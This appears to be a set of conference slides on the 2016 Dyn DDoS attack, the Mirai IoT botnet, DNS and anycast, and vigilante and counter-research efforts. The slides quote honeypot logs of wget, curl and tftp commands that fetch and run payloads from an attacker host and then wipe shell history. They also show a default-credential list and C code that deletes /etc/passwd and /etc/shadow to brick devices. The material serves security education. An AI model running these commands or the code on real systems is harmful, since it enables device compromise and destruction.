


ABOUT DYN, MIRAI AND CATS

- What happened 21.Oct 2016
- What is DNS and why we should care
- What is/are IoT
- How to build a IoT botnet yourself and how to track one
- Why black- and whitehat hackers love cat pictures?



Early Friday morning, **Dyn**, a company that provides **Domain Name Servers (DNS)** for a lot of heavily trafficked websites and services, came under a **massive Distributed Denial of Service (DDoS)** attack. This has disrupted access to many sites for people across the U.S. Yes, it's why your **Spotify** app is offline, why you can't stream **Netflix**, and why **Twitter** won't load.

KEY FINDINGS:

- The Friday October 21, 2016 attack has been analyzed as a complex & sophisticated attack, using maliciously targeted, masked TCP and UDP traffic over port 53.
- Dyn confirms Mirai botnet as primary source of malicious attack traffic.
- Attack generated compounding recursive DNS retry traffic, further exacerbating its impact.

DNS

:: QUESTION SECTION:

;spotify.com.	IN	A
---------------	----	---

:: ANSWER SECTION:

spotify.com.	300	IN	A	194.132.197.147
spotify.com.	300	IN	A	194.132.198.165
spotify.com.	300	IN	A	194.132.198.228

:: AUTHORITY SECTION:


spotify.com.	300	IN	NS	ns3.spotify.com.
spotify.com.	300	IN	NS	ns4.spotify.com.
spotify.com.	300	IN	NS	ns5.spotify.com.
spotify.com.	300	IN	NS	ns2.spotify.com.

:: ADDITIONAL SECTION:

ns2.spotify.com.	300	IN	A	194.132.168.117
ns3.spotify.com.	300	IN	A	193.235.32.2
ns4.spotify.com.	300	IN	A	194.132.162.51
ns5.spotify.com.	300	IN	A	194.68.28.185


Unicast Attack Effects

Traditional unicast server deployment...




...exposes all servers to all attackers,
leaving no resources for legitimate users.

Anycast Attack Mitigation



DYN SERVICE NETWORK




1. .. elevated bandwidth against our Managed DNS platform in the Asia Pacific, South America, Eastern Europe, and US-West regions ..
2. .. second attack began against our Managed DNS platform. This attack was more globally diverse ...

IOT =

"= connecting any device with an on and off switch to the Internet (and/or to each other). This includes everything from cellphones, coffee makers, washing machines, headphones, lamps, wearable devices and almost anything else you can think of. This also applies to components of machines, for example a jet engine of an airplane or the drill of an oil rig."

... what about artificial cardiac pacemaker?

HOW BUSINESSES SEE IOT ..



HOW HACKERS SEE IOT ..



Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers

/Wikipedia/


HISTORY

- <http://internetcensus2012.bitbucket.org/paper.html>
- <https://gitlab.com/rav7teif/linux.wifatch>

THE STORY BEHIND CARNA BOTNET

Two years ago while spending some time with the Nmap Scripting Engine (NSE) someone mentioned that we should try the classic telnet login root:root on random IP addresses. This was meant as a joke, but was given a try. We started scanning and quickly realized that there should be several thousand unprotected devices on the Internet.

CARNA BOTNET CLIENT DISTRIBUTION MARCH TO DECEMBER 2012. ~420K CLIENTS



INTERNET-OF-THINGS VIGILANTE LINUX.WIFATCH

```
$ telnet [REDACTED]  
Trying [REDACTED] ..  
Connected to [REDACTED]  
Escape character is '^]'.  
  
REINCARNA  
  
Telnet has been closed to avoid further infection of this device. Please  
disable telnet, change telnet passwords, and/or update the firmware.  
  
Connection closed by foreign host.  
$
```

HOW MANY INFECTED DEVICES ARE THERE, REALLY?

- We enumerate the whole core network multiple times a day, and the usual number of Wifatch instances is 60000 (and almost never exceeding 120000). Only these are currently being protected and disinfected.
- In addition, there is a much larger number of devices with a much smaller component, the so-called "tn" component ... these should be around 200000-300000 at any point in time.

[HTTPS://GITHUB.COM/JGAMBLIN
/MIRAI-SOURCE-CODE](https://github.com/JGAMBLIN/MIRAI-SOURCE-CODE)

*Leaked Linux.Mirai Source Code for Research/IoT
Development Purposes Uploaded for research purposes
and so we can develop IoT and such.*

SOO ... LET'S CATCH ONE HUNTER ...

```
2016-10-28 05:00:46+0200 admin trying auth password
2016-10-28 05:00:46+0200 login attempt [admin/qwerty] succeeded
2016-10-28 05:00:49+0200 admin authenticated with password
2016-10-28 05:00:50+0200 executing command "cd /tmp;
wget http://catsmeowalot.com/lmao.sh ||
curl -O http://catsmeowalot.com/lmao.sh;
chmod 777 lmao.sh; sh lmao.sh; busybox
tftp catsmeowalot.com -c get tftp1.sh;
chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r
tftp2.sh -g catsmeowalot.com;
chmod 777 tftp2.sh; sh tftp2.sh;
rm -rf lmao.sh tftp1.sh tftp2.sh; cd;
rm -rf ./bash_history; history -c"
2016-10-28 05:00:50+0200 Command found: history -c
2016-10-28 05:00:50+0200 Closing TTY Log:
log/tty/20161028-050050-abab97cc-0e.log after 0 seconds
2016-10-28 05:00:50+0200 honeypot terminal protocol
connection lost disconnected
```



```
cd /tmp && wget -q http://catsmeowalot.com/ayylmao &&  
  chmod +x ayylmao && ./ayylmao  
cd /tmp && wget -q http://catsmeowalot.com/ayymips &&  
  chmod +x aymips && ./aymips  
cd /tmp && wget -q http://catsmeowalot.com/jackmysh4 &&  
  chmod +x jackmysh4 && ./jackmysh4  
cd /tmp && wget -q http://catsmeowalot.com/ayyx86 &&  
  chmod +x ayyx86 && ./ayyx86  
...
```

MEET THE BLACKHAT!



GROW BOTNET ...


p2pNEWHUGE.txt x vuln.txt x login.txt x change2.txt x test.txt x vuln.txt x change3.txt x

```


261956 admin:1234567890:1234567890:1234567890
261957 admin:1234567890:1234567890:1234567890
261958 admin:1234567890:1234567890:1234567890
261959 support:support:support:support
261960 admin:1234567890:1234567890:1234567890
261961 root:admin:1234567890:1234567890:1234567890
261962 admin:1234567890:1234567890:1234567890
261963 admin:1234567890:1234567890:1234567890
261964 admin:1234567890:1234567890:1234567890
261965 admin:admin:1234567890:1234567890:1234567890
261966 admin:1234567890:1234567890:1234567890
261967 admin:1234567890:1234567890:1234567890
261968 admin:1234567890:1234567890:1234567890
261969 admin:1234567890:1234567890:1234567890
261970 admin:1234567890:1234567890:1234567890
261971 admin:1234567890:1234567890:1234567890
261972 admin:1234567890:1234567890:1234567890
261973 admin:admin:1234567890:1234567890:1234567890
261974 admin:1234567890:1234567890:1234567890
261975 admin:1234567890:1234567890:1234567890
261976 user:user:1234567890:1234567890:1234567890
261977 root:admin:1234567890:1234567890:1234567890
261978 admin:1234567890:1234567890:1234567890
261979 admin:1234567890:1234567890:1234567890
261980 admin:1234567890:1234567890:1234567890
261981 admin:1234567890:1234567890:1234567890
261982 admin:1234567890:1234567890:1234567890
261983 root:admin:1234567890:1234567890:1234567890
261984 admin:1234567890:1234567890:1234567890
261985 user:user:1234567890:1234567890:1234567890
261986 user:user:1234567890:1234567890:1234567890
261987 admin:1234567890:1234567890:1234567890
261988 admin:1234567890:1234567890:1234567890
261989 support:support:1234567890:1234567890:1234567890
  
```

length: 7,938,527 line: Ln: 261,167 Col: 10 Sel: 0 | 0 Windows (CR LF) ANSI INS

ATTACK!!!



ATTACK!!!



MEET THE WHITEHAT!



@MALWARETECH MONITORS MIRAI NETWORKS

After the source code was released many new
botherders appeared ...

Skiddy

A variation of the word Script Kiddo.

Somone who 'hacks' using scripts/programs that other people have written to aid them, having no knowledge of computer systems whatsoever.



cybergibbons @cybergibbons · Nov 2

Mirai is a symptom, not a cause, of security issues. Removing Mirai might get rid of the annoying pains, but the disease is still there.



7



12



SHOULD/COULD WE BRICK .. *PARDON* .. CLEAN THE "WORLD"?

Mirai-Counter-Research/mirai/bot/patch.c

```
int patch_password()
{
    //TODO: Less intrusive cases

    //Last resort -- brick the machine
    //TODO:
    return (unlink("/etc/passwd") &&
        unlink("/etc/passwd-") &&
        unlink("/etc/shadow") &&
        unlink("/etc/shadow-"));
}
```

OUTCOME, SO FAR

- *Skiddies* did excellent awareness rising capaign, what's next?
 - INDUSTRIAL INTERNET SECURITY FRAMEWORK (<http://www.iiconsortium.org/IISF.htm>, ~170p)
 - Future-proofing the Connected World (<https://downloads.cloudsecurityalliance.org/assets/research/internet-of-things/future-proofing-the-connected-world.pdf>, ~70p)
 - ... probably many more
- DDoS as a service is off the shelf for now ...

Slides and more on Anycast and DNS:

[http:// www.pch.net / resources / papers / dns-service-architecture](http://www.pch.net/resources/papers/dns-service-architecture)

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